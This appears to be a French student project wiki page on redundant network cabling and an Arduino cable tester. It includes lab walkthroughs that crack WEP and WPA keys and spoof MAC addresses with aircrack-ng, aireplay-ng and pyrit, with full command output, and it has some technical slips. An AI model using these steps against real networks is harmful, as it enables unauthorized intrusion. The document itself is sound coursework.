Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
&lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.&lt;br /&gt;
&lt;br /&gt;
Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23056</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23056"/>
				<updated>2015-11-19T13:42:14Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* La partie bonus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Les tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
